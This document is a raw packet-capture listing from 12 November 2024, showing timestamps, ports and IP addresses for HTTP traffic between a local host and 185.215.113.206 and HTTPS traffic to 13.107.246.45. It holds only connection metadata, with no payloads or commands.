Nov 12, 2024 08:30:40.872014046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872056007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.872077942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872088909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872121096 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.872205973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872215986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872226000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872236967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872252941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872260094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.872261047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.872275114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.872299910 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911362886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911387920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911405087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911418915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911432028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911437035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911454916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911478043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911515951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911530972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911546946 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911547899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911567926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911571980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911586046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911586046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911604881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911622047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911681890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911716938 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911742926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911751032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911760092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911768913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911777973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911806107 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911832094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911840916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911876917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911947012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911957979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911967993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911979914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911987066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.911992073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.911998034 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.912022114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.933553934 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.933621883 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.933770895 CET	57100	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.936038017 CET	57100	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.936055899 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.936075926 CET	57100	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.936083078 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.939280033 CET	57105	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.939323902 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.939528942 CET	57105	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.940896988 CET	57105	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.940912008 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.947732925 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.947772026 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.947807074 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.947820902 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.947885036 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.947947025 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.947963953 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.947973013 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.947978020 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.951092005 CET	57106	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.951124907 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.951211929 CET	57106	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.951553106 CET	57106	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.951562881 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.954941034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.954972982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.954982996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.955013037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.955049038 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.983911037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.983930111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.983941078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.983952045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.983994007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984004974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984019995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984019995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984049082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984123945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984159946 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984204054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984215975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984253883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984273911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984283924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984296083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984317064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984337091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984386921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984395981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984406948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984441996 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984466076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984529972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984543085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984555006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984563112 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984585047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984601974 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984649897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984661102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984667063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984677076 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984699011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984719992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984780073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984818935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984827042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984838963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984843016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984899044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.984967947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984978914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984989882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.984998941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985013962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985032082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985070944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985080957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985090971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985114098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985135078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985275030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985285997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985295057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985305071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985316038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985327005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985331059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985337019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985354900 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985369921 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985457897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985467911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985541105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985563040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985574961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985584974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985595942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985609055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985611916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985619068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985630989 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985646963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985783100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985793114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985801935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985814095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985822916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985826015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.985837936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.985857964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986042023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986053944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986064911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986074924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986084938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986087084 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986097097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986109018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986118078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986119986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986129045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986133099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986141920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986151934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986156940 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986164093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986176968 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986196041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986383915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986422062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986433029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986468077 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986507893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986519098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986530066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986565113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986637115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986649036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986674070 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986810923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986820936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986833096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986843109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986850977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986854076 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986865997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986866951 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986876965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986886024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986890078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986897945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986907959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986912966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986918926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986928940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.986931086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.986953020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987188101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987196922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987202883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987215996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987226009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987236023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987260103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987337112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987348080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987359047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987368107 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987384081 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987397909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987714052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987725973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987736940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987761021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987760067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987776041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987776995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987835884 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987905025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987915039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987925053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987936020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987946987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987957954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987961054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.987972021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.987996101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.988058090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988209963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.988401890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988476992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988487959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988512039 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.988539934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.988569975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988579988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988595963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988634109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.988665104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988676071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988687038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988718033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.988766909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988796949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988807917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988842964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.988848925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988862991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988899946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988909960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.988915920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.988936901 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.989051104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989094973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.989110947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989120960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989188910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989191055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.989201069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989227057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.989240885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.989243031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989253044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989263058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989274025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.989279985 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.989305019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028306007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028317928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028330088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028366089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028371096 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028377056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028388023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028399944 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028402090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028419971 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028440952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028465033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028505087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028517008 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028559923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028572083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028582096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028597116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028629065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028659105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028671026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028687000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028703928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028719902 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028795958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028805971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028815985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028826952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028839111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028846979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028851032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028877020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028891087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028923035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028934956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028944969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.028965950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.028985977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.048610926 CET	443	57097	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.049093962 CET	57097	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.049124002 CET	443	57097	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.049705029 CET	57097	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.049710035 CET	443	57097	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.056523085 CET	443	57103	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.058495045 CET	57103	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.058525085 CET	443	57103	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.058974028 CET	57103	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.058979034 CET	443	57103	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.065555096 CET	443	57102	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.066401958 CET	57102	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.066426039 CET	443	57102	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.066915035 CET	57102	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.066921949 CET	443	57102	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.071999073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.072020054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.072030067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.072058916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.072098970 CET	49809	80	192.168.2.5	185.215.113.206
